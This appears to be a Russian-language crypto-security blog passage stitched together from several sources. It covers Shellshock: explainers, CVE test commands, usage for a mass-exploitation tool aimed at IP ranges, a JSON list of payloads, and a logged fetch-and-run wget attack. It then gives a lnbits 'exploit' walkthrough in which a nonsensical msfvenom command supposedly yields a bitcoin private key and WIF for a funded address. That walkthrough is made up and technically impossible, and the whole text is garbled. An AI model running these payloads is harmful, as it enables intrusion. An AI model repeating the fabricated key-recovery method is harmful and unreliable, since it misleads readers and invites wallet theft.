библиотек, поэтому фактическая полученная энтропия действительно несколько выше. Обратите внимание, что злоумышленникам обычно нужна только одна библиотека; математика более сложна с несколькими библиотеками и также показана ниже. Обратите внимание, что случай, когда злоумышленник использует только одну библиотеку, представляет собой упрощение более сложной формулы: Эти значения имеют тенденцию быть низкими даже для больших значений l , что наиболее важно, поскольку злоумышленники обычно могут использовать только стандартную библиотеку C , и поэтому часто можно предположить, что{\displaystyle \beta \,=1}. Однако даже для небольшого количества библиотек здесь можно получить некоторый выигрыш в энтропии; Таким образом, потенциально интересно объединить рандомизацию порядка загрузки библиотеки со рандомизацией адресов VMA, чтобы получить несколько дополнительных бит энтропии. Обратите внимание, что эти дополнительные биты энтропии не будут применяться к другим сегментам mmap(), а только к библиотекам. Уменьшение энтропии: Список уязвимостей: CVE-2014-6271 Оригинальный bashdoor: переменная окружения специального вида состоит из определения экспортируемой функции, за которым следуют произвольные команды. Bash уязвимых версий исполняет эти произвольные команды во время своего запуска. Пример ошибки:env x='() { :;}; echo Уязвим’ bash -c “echo Тестовая печать” В уязвимых системах этот тест напечатает фразу «Уязвим», выполнив команду из переменной окружения x. CVE-2014-6277 На 29 сентября детали уязвимости публично не раскрывались. CVE-2014-6278 На 29 сентября детали уязвимости публично не раскрывались. CVE-2014-7169 Обнаружено Tavis Ormandy во время работы над CVE-2014-6271: env X='() { (a)=>\' sh -c "echo date"; cat echo Тест приводит к тому, что «echo» становится именем файла для перенаправления вывода, а «date» исполняется. Ошибка получила номер CVE-2014-7169. Пример ошибки 7169 на системе, получившей исправление ошибки CVE-2014-6271 но не ошибки CVE-2014-7169:[32]$ X='() { (a)=>\’ bash -c “echo date” bash: X: line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user]# cat echo Fri Sep 26 01:37:16 UTC 2014 Исправление обеих ошибок CVE-2014-6271 и CVE-2014-7169 приведет к неработоспособности теста:$ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory CVE-2014-7186 Ошибка вызвана сходными проблемами в коде Bash однако воздействует с помощью многократного повторения “<<EOF”Тестbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Уязвим по CVE-2014-7186, redir_stack” Уязвимая система отобразит текст “Уязвим по CVE-2014-7186, redir_stack”. CVE-2014-7187 Ошибка вызвана сходными проблемами в коде Bash, однако воздействует с помощью множественных повторений «done»Тест(for x in {1..200} ; do echo “for x$x in ; do :”; done; for x in {1..200} ; do echo done ; done) | bash || echo “Уязвим по CVE-2014-7187, word_lineno” Уязвимая система отобразит текст «Уязвим по CVE-2014-7187, word_lineno». Векторы атаки В течение часа после публикации уязвимости Bash появились сообщения о взломе компьютерных систем с её помощью. 25 сентября были подтверждены различные атаки «in the wild», начиная с простых DoS, заканчивая развёртыванием серверов command & control через зловредную систему «BASHLITE». Корпорация Kaspersky Labs сообщала, что некоторые из зараженных компьютеров начали атаку DDoS против трех целей[8]. 26 сентября был обнаружен ботнет «wopbot», составленный из серверов, зараженных через bashdoor, и используемый в DDoS против CDN Akamai Technologies и для сканирования сетей Министерства обороны США[7]. Существует несколько потенциальных путей, которыми атакующий может воспользоваться для передачи произвольных переменных окружения в bash, исполняемый на атакуемом сервере: CGI-атака на веб-сервера блокчейна Биткоин. Веб-сервера, исполняющие скрипты Common Gateway Interface (CGI) передают подробности о пользовательском запросе через переменные окружения, например HTTP_USER_AGENT. Если запрос обрабатывается программой Bash, либо другой программой, которая внутри себя вызывает bash, то атакующий может подменить передаваемую по http строку User-Agent на триггер атаки Shellshock, добавив свои команды. Например, в качестве такой команды может подаваться инструкция «ping» с адресом атакующего. По входящим ping-запросам атакующий узнает, сработала ли атака. Несмотря на то, что CGI — устаревший интерфейс, обладающий и другими рисками безопасности[37], он всё ещё используется. Например, уязвим один из стандартных скриптов cPanel[38], по оценкам уязвимый cPanel может использоваться на 2—3 % веб-сайтов[39]. Атака на SSH-сервер SSH-сервер OpenSSH позволяет ограничивать пользователя фиксированным набором доступных команд (опция «ForceCommand»). Фиксированная команда исполняется даже если пользователь запросил исполнение иной команды. Запрошенная команда в этом случае сохраняется в переменной среды «SSH_ORIGINAL_COMMAND». Если фиксированная команда исполняется в интерпретаторе Bash shell (если пользовательский интерпретатор установлен в Bash), GNU Bash обнаружит заложенные в среду значения SSH_ORIGINAL_COMMAND при запуске, и, в случае уязвимости перед Bashdoor, исполнит встроенные туда команды. Таким образом атакующий с доступом лишь к ограниченной оболочке получает неограниченный доступ[3]. Набор OpenSSH содержит следующие компоненты:sshЗамена для rlogin и telnet.scpЗамена для rcp, использующая в современных версиях OpenSSH протокол SFTP (ранее использовался менее надёжный и гибкий SCP).sftpЗамена для FTP-клиента, использующая протокол SFTP.sshdДемон, собственно предоставляющий защищённый доступ к ресурсам. Включает реализацию серверной части SFTP, пригодную для организации chroot-доступа для пользователей без необходимости копирования каких-либо файлов внутрь chroot.sftp-serverОтдельная реализация подсистемы SFTP (серверная часть). Обладает бо́льшими возможностями, чем встроенная в sshd.ssh-keygenГенератор пар ключей.ssh-keysignУтилита для проверки ключей хостов. Задействуется при использовании аутентификации по хостам (аналогично rsh) вместо проводимой по умолчанию аутентификации по пользователям.ssh-keyscanВспомогательная утилита. Позволяет собирать публичные ключи с других хостов.ssh-agentВспомогательная утилита. Поддерживает кэш закрытых ключей. Кэширование позволяет избегать частого ввода пароля для расшифровки ключей перед их использованием.ssh-addВспомогательная утилита. Добавляет ключи в кэш ssh-agent. Безопасные туннели Перенаправление портов Большинство программ для установления соединения используют протокол TCP, трафик которого можно передавать через безопасный туннель. Таким образом можно устанавливать множество дополнительных TCP-соединений поверх одного SSH-соединения. Это удобно для сокрытия соединений и шифрования протоколов, которые являются небезопасными, а также для обхода ограничений фаерволлов. UDP-соединения иногда тоже возможно туннелировать при помощи дополнительных программ, таких как netcat. Простыми для туннелирования являются такие протоколы как, например, HTTP, POP3 и VNC. Перенаправление портов возможно в любую сторону. Кроме того, некоторое ПО может автоматически использовать OpenSSH для создания туннеля. Например DistCC, CVS, rsync, и fetchmail. Из протоколов, которые сложнее туннелировать, стоит отметить FTP, который часто можно заменить SFTP, и SMB. В некоторых операционных системах удаленные файловые системы можно монтировать через ssh используя shfs, lufs и другие аналогичные компоненты. X Window System OpenSSH позволяет безопасно организовывать подключения к X Window System с учётом «переворота» семантики: хост-клиент SSH для X Window System является сервером, и наоборот. Для этого OpenSSH осуществляет дополнительные операции вроде установки переменной окружения DISPLAY. SOCKS OpenSSH возможно использовать как специальный SOCKS прокси сервер поддерживающий более гибкое проксирование, чем просто перенаправление портов. VPN Начиная с версии 4.3, OpenSSH может использовать туннельные сетевые интерфейсы 2-го и 3-го уровней модели OSI (tun). Таким образом можно организовать защищённую VPN и обойтись без необходимости переделки приложений для поддержки SOCKS. Аутентификация OpenSSH сервер может аутентифицировать пользователей, используя встроенные механизмы аутентификации: Публичные ключи, Клавиатурный ввод (пароли и запрос-ответ), Kerberos/GSS-API. В дополнение OpenSSH Portable обычно может использовать методы аутентификации, доступные в конкретной операционной системе, например, BSD Authentication или PAM. Атака на DHCP-клиент DHCP-клиент обычно запрашивает IP адрес у DHCP-сервера. Однако сервер может послать несколько дополнительных опций, которые могут записываться в переменные среды и приводить к эксплуатации ошибки Shellshock на компьютере или ноутбуке, подключаемом к локальной сети. Повышение привилегий через setuid программы Программа с установленным битом setuid может вызывать bash непосредственно, либо косвенно при использовании системных вызовов system(3), popen и других, не сбрасывая при этом переменные окружения. Атака Shellshock в таких случаях позволит локальному пользователю повысить собственные привилегии до владельца подобной setuid программы, часто вплоть до root (суперпользователя). Уязвимость офлайн-систем Ошибка потенциально может достичь систем, не подключённых к сети Интернет, во время офлайн-обработки с помощью bash. Уязвимость CVE-2014-6271 («Bash») – это легко эксплуатируемая уязвимость, использование которой может привести к очень серьезным последствиям. Эксплуатируя эту уязвимость, атакующая сторона получает возможность выполнять команды системного уровня с такими же привилегиями, как и затронутые сервисы. В большинстве случаев, встречающихся сейчас в интернете, киберпреступники удаленно атакуют веб-серверы, на которых размещены CGI –скрипты, написанные на языке bash. В настоящее время уязвимость уже была использована киберпреступниками: уязвимые веб-серверы заражались вредоносным ПО, а также проводились хакерские атаки. Аналитики «Лаборатории Касперского» постоянно обнаруживают новые вредоносные образцы и случаи заражения с использованием данной уязвимости. Дополнительная информация об этом вредоносном ПО будет опубликована в ближайшее время. Важно понимать, что данная уязвимость не привязана к конкретному сервису, такому как Apache или nginx. Скорее, это уязвимость интерпретатора командной оболочки bash, позволяющая атакующей стороне добавлять команды системного уровня к переменным среды bash. Как эксплуатируется уязвимость? Я постараюсь объяснить принцип эксплуатации уязвимости на тех примерах, которые даются в информационных сообщениях и опубликованном концептуальном коде. CGI-скрипт, размещенный на веб-сервере, автоматически читает определенные переменные среды, такие как IP-адрес, версия браузера и информация о локальной системе. Теперь представьте себе, что есть возможность не только передать эту обычную системную информацию CGI-скрипту, но и поручить скрипту выполнение команд системного уровня. Это означает, что как только происходит обращение к CGI-скрипту, он считывает переменные вашей среды – без всякой регистрации на веб-сервере. Если переменные среды содержат строку эксплойта, скрипт также выполнит указанную вами команду. ShellShockHunter Tool v1.0 Shellshock (software bug) Shellshock, также известный как Bashdoor, представляет собой семейство ошибок безопасности в оболочке Unix Bash, первая из которых была обнаружена 24 сентября 2014 года. Shellshock может позволить злоумышленнику заставить Bash выполнять произвольные команды и получить несанкционированный доступ ко многим интернет-файлам. сталкиваются со службами, такими как веб-серверы, которые используют Bash для обработки запросов. GIT CLONE git clone https://github.com/MrCl0wnLab/ShellShockHunter INSTALLATION pip pip install shodan pip install ipinfo ,'/ ,' / ,' /_____, .'____ ,' / ,' / ,' /,' /' ____ _ _____ _ _ ____ _ ___ _ / ___|| |__ |___ /| | | | / ___|| |__ / _ \ ___| | __ \___ \| '_ \ |_ \| | | | \___ \| '_ \| | | |/ __| |/ / ___) | | | |___) | |___| |___ ___) | | | | |_| | (__| < |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\ __ _ _ _ __ | _| | | | |_ _ _ __ | |_ ___ _ __ |_ | | | | |_| | | | | '_ \| __/ _ \ '__| | | | | | _ | |_| | | | | || __/ | | | | | |_| |_|\__,_|_| |_|\__\___|_| | | |__| |__| v1.0 By: MrCl0wn / https://blog.mrcl0wn.com usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug] optional arguments: -h, --help show this help message and exit --file <ips.txt> File targets --range <ip-start>,<ip-end> Range IP Ex: 192.168.15.1,192.168.15.100 --cmd-cgi <command shell> Command: uname -a --exec-vuln <command shell> Executing commands on vulnerable targets --thread <10>, -t <10> Eg. 20 --check Checker vuln --ssl Set protocol https --cgi-file <cgi.txt> Set file cgi --timeout <5> Set timeout conection --all Teste all payloads --debug Set debugs COMMAND: python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"' python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' В чем уникальность этой уязвимости? Данную уязвимость крайне легко эксплуатировать, что приводит к крайне тяжелым последствиям – не в последнюю очередь из-за количества уязвимых мишеней. Это касается не только веб-серверов, но и любого ПО, использующего интерпретатор bash и считывающего данные, которые вы можете контролировать. В данный момент аналитики выясняют, затронуты ли в связи с этой уязвимостью другие интерпретаторы – PHP, JSP, Python и Perl. В зависимости от того, как написан код, интерпретатор в некоторых случаях может использовать bash для выполнения ряда функций. В связи с этим эксплуатация уязвимости CVE-2014-6271 может быть осуществлена через другие интерпретаторы. Эксплуатация уязвимости имеет серьезные последствия в силу того, что CGI-скрипты широко используются на многих устройствах: роутерах, бытовых устройствах и беспроводных точках доступа. Все они также уязвимы, причем закрыть уязвимость на них зачастую достаточно сложно. PRINTS: Насколько широко эксплуатируется данная уязвимость? На этот вопрос сложно дать точный ответ. По данным информационных сервисов «Лаборатории Касперского», разработка экплойтов и червей началась сразу после публикации информации об уязвимости. Поиск уязвимых серверов в интернете ведется как белыми, так и черными хакерами. Пока недостаточно данных, чтобы определить, насколько распространена эта уязвимость. Из своих личных исследований я знаю, что на CGI-скриптах работает множество веб-серверов. Весьма вероятно, что в будущем будет разрабатываться большое количество эксплойтов, нацеленных на локальные файлы и сетевых демонов. Кроме того, есть подозрения, что OpenSSH и dhcp-клиенты также уязвимы к данному типу атак. Как проверить, есть ли уязвимость в моей системе/вебсайте? Проще всего проверить систему на наличие уязвимости следующим образом: открыть на вашей системе командную оболочку bash и выполнить следующую команду: 1 “env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” Если оболочка возвращает строку «vulnerable», систему нужно обновить. Для более опытных пользователей имеются другие инструменты, позволяющие проверить на наличие данной уязвимости сервер. Как решить проблему? В первую очередь нужно обновить версию среды bash. Патчи для этой уязвимости доступны в различных дистрибутивах Linux. И пусть на сегодняшний день не все патчи показали себя стопроцентно эффективными, начать следует именно с их установки. Если вы используете любую систему обнаружения и/или предотвращения вторжений, также рекомендуется добавить/загрузить сигнатуру для данной угрозы. Опубликовано множество публичных правил. Наконец, проверьте конфигурацию вашего веб-сервера. Если имеются неиспользуемые CGI-скрипты, рассмотрите возможность их отключения. { "DEFAULT": "() { :; }; echo ; /bin/bash -c '_COMMAND_'", "CVE-2014-6271": "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'", "CVE-2014-6271-2": "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'", "CVE-2014-6271-3": "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;", "CVE-2014-7169": "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo", "CVE-2014-7186": "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'", "CVE-2014-7187": "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'", "CVE-2014-6278": "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'", "CVE-2014-6278-2": "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker", "CVE-2014-6277": "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_", "CVE-2014-*": "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'" } Есть ли угроза для онлайн-банкинга? Эксплуатация данной уязвимости широко применяется по отношению к серверам, размещенным в интернете. Уязвимы даже некоторые рабочие станции, работающие на Linux и OSX, однако киберпреступникам для проведения атаки необходимо найти вектор атаки, позволяющий удаленно использовать уязвимость на конкретной рабочей станции. Данная угроза нацелена не на индивидуальных пользователей, а на серверы, размещенные в интернете. Это означает, что если, например, уязвим ваш любимый сайт электронной коммерции или онлайн-банкинга, то злоумышленники теоретически могут взломать сервер и получить доступ к вашим персональным данным, в том числе, возможно, и к банковской информации. Пока сложно сказать определенно, какие платформы могут быть уязвимы и стать мишенью для атаки, но я бы рекомендовал не проводить платежи по кредитной карте и не делиться конфиденциальной информацией в сети в ближайшую пару дней, пока вирусные аналитики не прояснят ситуацию. { "config": { "threads": 10, "path": { "path_output": "output/", "path_wordlist": "wordlist/", "path_modules": "modules/", "path_assets": "assets/" }, "files_assets":{ "config": "assets/config.json", "autor": "assets/autor.json", "exploits": "assets/exploits.json" }, "api":{ "shodan":"", "ipinfo":"" } } } Как я могу определить, что стал мишенью для атаки с использованием этой уязвимости? Мы рекомендуем просмотреть ваши HTTP-журналы и проверить, нет ли в них записей о подозрительной активности, например такой: 1 192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;” Существуют также некоторые патчи для среды bash, которые протоколируют каждую команду, передаваемую bash-интерпретатору, что позволяет проследить, не был ли ваш компьютер атакован. Они не защитят вас от атаки, использующей данную уязвимость, но отразят в журнале действия атакующей стороны в вашей системе. │ ├── autor.json │ ├── config.json │ ├── exploits.json │ └── prints │ ├── banner.png │ ├── print01.png │ ├── print02.png │ └── print03.png ├── main.py ├── modules │ ├── banner_shock.py │ ├── color_shock.py │ ├── file_shock.py │ ├── __init__.py │ ├── request_shock.py │ ├── shodan_shock.py │ └── thread_shock.py ├── output │ └── vuln.txt ├── README.md └── wordlist └── cgi.txt Насколько серьезна данная угроза? Угроза действительно серьезна, но не каждая система является уязвимой. Так, для успешной атаки на веб-сервер требуется выполнение ряда условий. Одной из самих больших проблем сейчас является то, что после публикации патчей исследователи начинают искать другие способы эксплуатации среды bash, анализировать различные условия, делающие эксплуатацию возможной, и т.п. В связи с этим патч, защищающий от удаленного выполнения кода, никак не сможет предотвратить, например, перезапись файла. По всей видимости, в будущем будет опубликован целый ряд патчей, а до тех пор системы будут оставаться уязвимыми. Это новый Heartbleed? По сравнению с Heartbleed эту уязвимость гораздо легче эксплуатировать. Кроме того, в случае Heartbleed киберпреступник мог только похитить данные из памяти в надежде на то, что среди них встретится что-нибудь стоящее, в то время как уязвимость bash делает возможным полный контроль над системой. Такие образом, она представляется намного более опасной, чем Heartbleed. Может ли эта уязвимость в будущем быть использована для проведения APT-атак? Конечно, в будущем эта уязвимость может быть использована для разработки вредоносных программ. Могут появиться вредоносные программы, автоматически проверяющие атакуемую инфраструктуру на наличие данной уязвимости, с целью дальнейшего заражения системы или проведения других видов атак. Эта уязвимость связана с функцией «экспорта функций» bash . Команда экспорта используется для экспорта переменной или функции в среду всех дочерних процессов, работающих в текущей оболочке. Эта функция «экспорта функций» реализуется путем кодирования сценариев в таблице, которая является общей для всех экземпляров и называется списком переменных среды. Хотя Bash не является службой, подключенной к Интернету, многие сетевые и интернет-службы используют переменные среды для связи с ОС сервера. Если эти переменные среды не очищаются перед выполнением, злоумышленник может отправлять команды через HTTP-запросы и выполнять их операционной системой сервера. Векторы эксплуатации: Веб-сервер на основе CGI OpenSSH-сервер DHCP-клиенты Qmail-сервер Ограниченная оболочка IBM HMC Веб-сервер на основе CGI: CGI означает «Общий интерфейс шлюза» и используется для обработки запросов документов. Когда определенный объем информации копируется из запроса в список переменных среды и если этот запрос делегируется программой-обработчиком, которая представляет собой сценарий bash, тогда bash получит переменные среды, переданные сервером, и обработает их. Это дает злоумышленнику возможность активировать уязвимость Shellshock с помощью специально созданного запроса документа. Nmap : You can use this two commands to find whether the target website is vulnerable to Shellshock or not. nmap -sV -p- --script http-shellshock <target> nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target> CGI использует bash в качестве обработчика запросов по умолчанию, и эта атака не требует какой-либо аутентификации, поэтому большая часть атак происходит на страницах CGI с целью использования этой уязвимости. CGI-скрипты могут быть чрезвычайно опасны, если их тщательно не проверять. PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-shellshock: | VULNERABLE: | HTTP Shellshock vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-6271 | This web application might be affected by the vulnerability known as Shellshock. It seems the server | is executing commands injected via malicious HTTP headers. | | Disclosure date: 2014-09-24 | References: | http://www.openwall.com/lists/oss-security/2014/09/24/10 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 | http://seclists.org/oss-sec/2014/q3/685 |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 2. Сервер OpenSSH: OpenSSH также известен как OpenBSD Secure Shell. Это набор безопасных сетевых утилит, основанных на протоколе SSH, который обеспечивает безопасный канал через незащищенную сеть в архитектуре клиент-сервер. OpenSSH имеет функцию «ForceCommand» , при которой при входе пользователя в систему выполняется фиксированная команда, а не просто запуск неограниченной командной оболочки. Фиксированная команда выполняется, даже если пользователь указал, что должна быть запущена другая команда; в этом случае исходная команда помещается в переменную среды «SSH_ORIGINAL_COMMAND» . Когда принудительная команда запускается в оболочке Bash, оболочка Bash анализирует переменную среды SSH_ORIGINAL_COMMAND при запуске и запускает встроенные в нее команды. Пользователь использовал свой ограниченный доступ к оболочке, чтобы получить неограниченный доступ к оболочке, используя ошибку Shellshock. 3. DHCP-клиенты: DHCP означает протокол динамической конфигурации хоста. Это протокол управления сетью, используемый в сетях Интернет-протокола, при котором DHCP-сервер динамически назначает IP-адрес и другие параметры конфигурации сети каждому устройству в сети, чтобы они могли взаимодействовать с другими IP-сетями. Некоторые клиенты DHCP также могут передавать команды Bash; уязвимая система может быть атакована при подключении к открытой сети Wi-Fi. Клиент DHCP обычно запрашивает и получает IP-адрес от сервера DHCP, но ему также может быть предоставлен ряд дополнительных опций. В одном из этих вариантов вредоносный DHCP-сервер может предоставить строку, предназначенную для выполнения кода на уязвимой рабочей станции или ноутбуке. 4. Сервер Qmail: Qmail — это агент передачи почты, работающий в Unix. Он был написан в декабре 1995 года Дэниелом Дж. Бернштейном как более безопасная замена популярной программы Sendmail. При использовании Bash для обработки сообщений электронной почты (например, через канал .forward или qmail-alias) почтовый сервер qmail передает внешние входные данные таким образом, что можно использовать уязвимую версию Bash. Checking for CGI scripts 5. Ограниченная оболочка IBM HMC: Ограниченная оболочка — это оболочка Unix, которая ограничивает некоторые возможности, доступные интерактивному сеансу пользователя или сценарию оболочки, выполняющемуся в ней. Он предназначен для обеспечения дополнительного уровня безопасности, но его недостаточно для запуска полностью ненадежного программного обеспечения. Эту ошибку можно использовать для получения доступа к Bash из ограниченной оболочки IBM Hardware Management Console , крошечного варианта Linux для системных администраторов. IBM выпустила исправление для решения этой проблемы. Векторы атаки Shellshock? Когда вы отправляете запрос и когда этот запрос получен сервером, есть три части запроса, которые могут быть уязвимы для атаки Shellshock. Запрошенный URL Заголовки в запросах (например, пользовательский агент, реферер и т. д.) Аргументы в запросах (например, имя, идентификатор и т. д.) Уязвимость Shellshock обычно возникает, когда злоумышленник изменяет исходный HTTP-запрос, чтобы он содержал магический () { :; }; нить. Предположим, злоумышленник изменил заголовок User-Agent с Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 на просто () { :; }; /bin/извлечь Это создаст следующую переменную внутри веб-сервера: HTTP_USER_AGENT=() { :; }; /bin/извлечь Теперь, если веб-сервер передает эту переменную в bash, возникает уязвимость Shellshock. Вместо того, чтобы рассматривать переменную HTTP_USER_AGENT как последовательность символов, не имеющую особого значения, bash интерпретирует ее как команду, которую необходимо выполнить. Проблема в том, что HTTP_USER_AGENT исходит из заголовка User-Agent , который контролируется злоумышленником, поскольку он поступает на веб-сервер в HTTP-запросе. Литература: SHELLSHOCK ATTACK – Background: Shell Functions [CryptoDeepTech ~ 2023] On the Effectiveness of Full-ASLR on 64-bit Linux [Hector Marco-Gisbert, Ismael Ripoll Universitat Politècnica de València Camino de Vera s/n, 46022 Valencia, Spain 20 November 2014] Shellshock Vulnerability Tudor Enache Tool Xpl SHELLSHOCK Ch3ck – Mass exploitation – The tool inject a malicious user agent that allows exploring the vulnerabildiade sheellshock running server-side commands [sexta-feira ~ 2015]. Bash bug: the other two RCEs, or how we chipped away at the original fix (CVE-2014-6277 and ’78) Bash Vulnerability – Shell Shock – Thousands of cPanel Sites are High Risk [Daniel Cid ~ 2014] Entenda o Shellshock, a falha no Bash tão grave quanto o Heartbleed [RODRIGO GHEDIN~ 2014] Исходный код POLYNONCE ATTACK ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/fIYYi1kGEnc Источник: https://cryptodeep.ru/shellshock-attack-on-bitcoin Криптоанализ
  17. !git clone https://github.com/lnbits/lnbits.git ls Откроем уязвимый файл: quasar.umd.js через утилиту cat cat lnbits/lnbits/static/vendor/quasar.umd.js Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Команда запуска: !./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js Результат: 111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B Приватный Ключ Найден! Установим модуль Bitcoin !pip3 install bitcoin Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt Результат: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Откроем bitaddress и проверим: ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F BALANCE: $ 11032.77 References: [1] A Cryptoeconomic Traffic Analysis of Bitcoins Lightning Network (Ferenc Beres, Istvan A. Seres, Andras A. Benczur) [2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar) [3] Short Paper: A Centrality Analysis of the Lightning Network (Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid) [4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar) [5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan) [6] The Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain (George Kaloudis, Teddy Oosterbaan) [7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja) [8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja) [9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/ZpflbzENAAw Источник: https://cryptodeep.ru/bitcoin-lightning-wallet-vulnerability Криптоанализ
